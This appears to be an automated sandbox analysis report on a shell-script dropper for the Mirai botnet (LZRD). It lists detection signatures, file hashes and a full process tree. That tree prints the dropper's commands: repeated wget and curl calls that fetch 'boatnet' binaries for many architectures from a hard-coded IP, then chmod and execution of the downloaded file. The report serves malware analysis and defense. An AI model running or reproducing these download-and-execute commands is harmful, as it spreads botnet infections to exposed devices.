Analysis

  • max time kernel
    148s
  • max time network
    140s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18-02-2025 04:12

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    32774e26d02b3c1b8e5c9bf8b5992be0

  • SHA1

    ad7e3cdf5913a6397e51fc0570e99e3f2b5cd2c6

  • SHA256

    84169b3c5a219018f397eceb2023846b9f47f0931c447422fc09396a79f40535

  • SHA512

    e00b5a106b8c6529679e10323802c998316e4e6240659a239b7680344ee860e457d8d3274de7d88ee4afb14b6b465651d8944b8bb8ab9c805ad74111c007f0ba

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:660
    • /usr/bin/wget
      wget http://196.251.87.222/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:662
    • /usr/bin/curl
      curl -O http://196.251.87.222/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:673
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:682
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
        2⤵
        • File and Directory Permissions Modification
        PID:683
      • /tmp/WTF
        ./WTF
        2⤵
          PID:685
        • /usr/bin/wget
          wget http://196.251.87.222/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:688
        • /usr/bin/curl
          curl -O http://196.251.87.222/hiddenbin/boatnet.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:694
        • /bin/cat
          cat boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:697
        • /bin/chmod
          chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
          2⤵
          • File and Directory Permissions Modification
          PID:698
        • /tmp/WTF
          ./WTF
          2⤵
            PID:699
          • /usr/bin/wget
            wget http://196.251.87.222/hiddenbin/boatnet.arc
            2⤵
            • Writes file to tmp directory
            PID:701
          • /usr/bin/curl
            curl -O http://196.251.87.222/hiddenbin/boatnet.arc
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:702
          • /bin/cat
            cat boatnet.arc
            2⤵
              PID:703
            • /bin/chmod
              chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
              2⤵
              • File and Directory Permissions Modification
              PID:704
            • /tmp/WTF
              ./WTF
              2⤵
                PID:705
              • /usr/bin/wget
                wget http://196.251.87.222/hiddenbin/boatnet.i468
                2⤵
                  PID:707
                • /usr/bin/curl
                  curl -O http://196.251.87.222/hiddenbin/boatnet.i468
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:710
                • /bin/cat
                  cat boatnet.i468
                  2⤵
                    PID:713
                  • /bin/chmod
                    chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:714
                  • /tmp/WTF
                    ./WTF
                    2⤵
                      PID:716
                    • /usr/bin/wget
                      wget http://196.251.87.222/hiddenbin/boatnet.i686
                      2⤵
                        PID:717
                      • /usr/bin/curl
                        curl -O http://196.251.87.222/hiddenbin/boatnet.i686
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:721
                      • /bin/cat
                        cat boatnet.i686
                        2⤵
                          PID:725
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:727
                        • /tmp/WTF
                          ./WTF
                          2⤵
                            PID:728
                          • /usr/bin/wget
                            wget http://196.251.87.222/hiddenbin/boatnet.x86_64
                            2⤵
                              PID:729
                            • /usr/bin/curl
                              curl -O http://196.251.87.222/hiddenbin/boatnet.x86_64
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:733
                            • /bin/cat
                              cat boatnet.x86_64
                              2⤵
                                PID:737
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:738
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                  PID:740
                                • /usr/bin/wget
                                  wget http://196.251.87.222/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:741
                                • /usr/bin/curl
                                  curl -O http://196.251.87.222/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:746
                                • /bin/cat
                                  cat boatnet.mpsl
                                  2⤵
                                    PID:750
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:752
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                      PID:753
                                    • /usr/bin/wget
                                      wget http://196.251.87.222/hiddenbin/boatnet.arm
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:755
                                    • /usr/bin/curl
                                      curl -O http://196.251.87.222/hiddenbin/boatnet.arm
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:760
                                    • /bin/cat
                                      cat boatnet.arm
                                      2⤵
                                        PID:767
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:769
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Modifies Watchdog functionality
                                        • Writes file to system bin folder
                                        • Reads runtime system information
                                        PID:770
                                      • /usr/bin/wget
                                        wget http://196.251.87.222/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:774
                                      • /usr/bin/curl
                                        curl -O http://196.251.87.222/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:779
                                      • /bin/cat
                                        cat boatnet.arm5
                                        2⤵
                                          PID:782
                                        • /bin/chmod
                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:783
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                            PID:785
                                          • /usr/bin/wget
                                            wget http://196.251.87.222/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:786
                                          • /usr/bin/curl
                                            curl -O http://196.251.87.222/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:787
                                          • /bin/cat
                                            cat boatnet.arm6
                                            2⤵
                                              PID:788
                                            • /bin/chmod
                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:789
                                            • /tmp/WTF
                                              ./WTF
                                              2⤵
                                              • Reads runtime system information
                                              PID:790
                                            • /usr/bin/wget
                                              wget http://196.251.87.222/hiddenbin/boatnet.arm7
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:791
                                            • /usr/bin/curl
                                              curl -O http://196.251.87.222/hiddenbin/boatnet.arm7
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:792
                                            • /bin/cat
                                              cat boatnet.arm7
                                              2⤵
                                                PID:796
                                              • /bin/chmod
                                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:797
                                              • /tmp/WTF
                                                ./WTF
                                                2⤵
                                                • Modifies Watchdog functionality
                                                • Writes file to system bin folder
                                                • Reads runtime system information
                                                PID:799
                                              • /usr/bin/wget
                                                wget http://196.251.87.222/hiddenbin/boatnet.ppc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:803
                                              • /usr/bin/curl
                                                curl -O http://196.251.87.222/hiddenbin/boatnet.ppc
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:807
                                              • /bin/cat
                                                cat boatnet.ppc
                                                2⤵
                                                  PID:811
                                                • /bin/chmod
                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:813
                                                • /tmp/WTF
                                                  ./WTF
                                                  2⤵
                                                    PID:815
                                                  • /usr/bin/wget
                                                    wget http://196.251.87.222/hiddenbin/boatnet.spc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:817
                                                  • /usr/bin/curl
                                                    curl -O http://196.251.87.222/hiddenbin/boatnet.spc
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:822
                                                  • /bin/cat
                                                    cat boatnet.spc
                                                    2⤵
                                                      PID:827
                                                    • /bin/chmod
                                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:828
                                                    • /tmp/WTF
                                                      ./WTF
                                                      2⤵
                                                        PID:829
                                                      • /usr/bin/wget
                                                        wget http://196.251.87.222/hiddenbin/boatnet.m68k
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:831
                                                      • /usr/bin/curl
                                                        curl -O http://196.251.87.222/hiddenbin/boatnet.m68k
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:836
                                                      • /bin/cat
                                                        cat boatnet.m68k
                                                        2⤵
                                                          PID:840
                                                        • /bin/chmod
                                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:842
                                                        • /tmp/WTF
                                                          ./WTF
                                                          2⤵
                                                            PID:843
                                                          • /usr/bin/wget
                                                            wget http://196.251.87.222/hiddenbin/boatnet.sh4
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:845
                                                          • /usr/bin/curl
                                                            curl -O http://196.251.87.222/hiddenbin/boatnet.sh4
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:848
                                                          • /bin/cat
                                                            cat boatnet.sh4
                                                            2⤵
                                                              PID:849
                                                            • /bin/chmod
                                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-75f287c5a10e49c68b41c9b9a78bb820-systemd-timedated.service-u93qRc WTF
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:850
                                                            • /tmp/WTF
                                                              ./WTF
                                                              2⤵
                                                                PID:851

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • /tmp/WTF

                                                              Filesize

                                                              23KB

                                                              MD5

                                                              cee6585e60fc85044c942cc41fc69eec

                                                              SHA1

                                                              b2901dc34ac518fe5430af9ce827022846b95577

                                                              SHA256

                                                              0445d12106a314074d4b96870742787452528196da68b67def54cc1d97a228cb

                                                              SHA512

                                                              dc9d804e7dd048ba5305ba10758093f63fab453bac41b5a331ec157309c4e6feb8018f1fa82ad4f5167a3cc8063de3548b0e39c53802ab9aaf0325e82fc84cb8

                                                            • /tmp/WTF

                                                              Filesize

                                                              105KB

                                                              MD5

                                                              4c125873f27e37b37d7c12452d507215

                                                              SHA1

                                                              e08f8ab877b6abd87bfbee80347f0bbdba93bed0

                                                              SHA256

                                                              35e1279abdbf2bee230f3aeb00f8412136da9638cda2c2908e056a6072c3e69c

                                                              SHA512

                                                              20017ce619089512f4ef09ec2e73ca1a322b797f9751b6829a515a4cb1b4dde6799197dd70bc01805cb333cbf944adb489eb0203d78a7e0080d66d2aa3041ca6

                                                            • /tmp/WTF

                                                              Filesize

                                                              220B

                                                              MD5

                                                              f1c24d9fa40a047ae22d2d3ae7dfeac9

                                                              SHA1

                                                              750274b02d5f5b00026a4f55b020f4285c693533

                                                              SHA256

                                                              219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                                              SHA512

                                                              36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                                            • /tmp/WTF

                                                              Filesize

                                                              220B

                                                              MD5

                                                              a8f502a6fb3b7b940e922c951d9e493a

                                                              SHA1

                                                              fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                                              SHA256

                                                              748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                                              SHA512

                                                              e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                                            • /tmp/WTF

                                                              Filesize

                                                              57KB

                                                              MD5

                                                              a1870420c700ebc5d888818a29c802de

                                                              SHA1

                                                              4db6780a1e145360a2b1eb4bfd86651f9b6df5b9

                                                              SHA256

                                                              ea80cc6170eaada0e2fdb09a2c509a1b5646371e420066e88f8515974c922b99

                                                              SHA512

                                                              20c586583f6cacb05c49ee0e5691d499797f4e78203f77be0fc9ee784e74a4e70754ee505e3614b6b04ebec6cb683e48228925892bd45e002779d425b979582f

                                                            • /tmp/boatnet.x86

                                                              Filesize

                                                              20KB

                                                              MD5

                                                              96f3a4c996750d9f2254cc55883c2ee4

                                                              SHA1

                                                              985d2163502ffe96c88c2c578cb9205c6140947a

                                                              SHA256

                                                              984e3565cdf897a62523a6776c16835634be7312a415d8c36c56ce14545539d7

                                                              SHA512

                                                              6b29d2fa53cc5a912372da02c52e69fd440494cf84054adaa45d8a2d5600e514e9b0ce5a56f417de7df698de3e52e2b2800561be15b6e6e7da67bd6f5d00a7e1